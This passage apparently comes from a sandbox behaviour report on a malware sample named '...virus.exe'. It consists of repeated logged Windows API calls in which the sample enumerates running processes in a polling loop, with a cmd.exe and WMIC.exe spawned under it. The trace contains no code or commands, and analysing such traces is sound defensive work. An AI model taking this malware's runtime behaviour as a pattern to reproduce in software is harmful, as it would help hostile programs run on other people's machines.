pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0267.348] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0267.348] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.349] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.349] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0267.349] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0267.350] CloseHandle (hObject=0x190) returned 1 [0267.350] Sleep (dwMilliseconds=0x1f4) [0267.867] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0267.868] Process32FirstW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.869] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.869] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.869] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.870] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0267.870] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.870] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0267.871] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0267.871] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0267.871] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0267.872] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.872] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.872] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.873] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.873] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.874] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0267.874] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.874] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.875] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0267.875] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0267.876] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0267.876] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0267.876] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.877] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0267.877] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0267.878] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0267.878] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0267.878] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0267.879] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.879] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.880] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0267.880] Process32NextW (in: hSnapshot=0x190, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0267.881] CloseHandle (hObject=0x190) returned 1 [0267.881] Sleep (dwMilliseconds=0x1f4) [0268.626] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0268.628] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0268.628] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0268.629] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0268.629] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.630] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.630] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.630] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.631] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.631] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.631] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0268.632] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.632] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.633] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.633] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.633] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.634] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.634] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.635] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.635] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.635] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.636] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.636] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.636] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.637] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0268.637] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0268.637] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0268.638] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0268.638] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0268.638] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.639] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.639] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 1 [0268.639] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIC.exe")) returned 0 [0268.640] CloseHandle (hObject=0x100) returned 1 [0268.640] Sleep (dwMilliseconds=0x1f4) [0269.328] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0269.332] Process32FirstW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.332] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.334] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.334] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.335] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.336] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.336] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.337] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.337] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.338] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.339] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.340] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.340] Process32NextW (in: hSnapshot=0x1c8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, 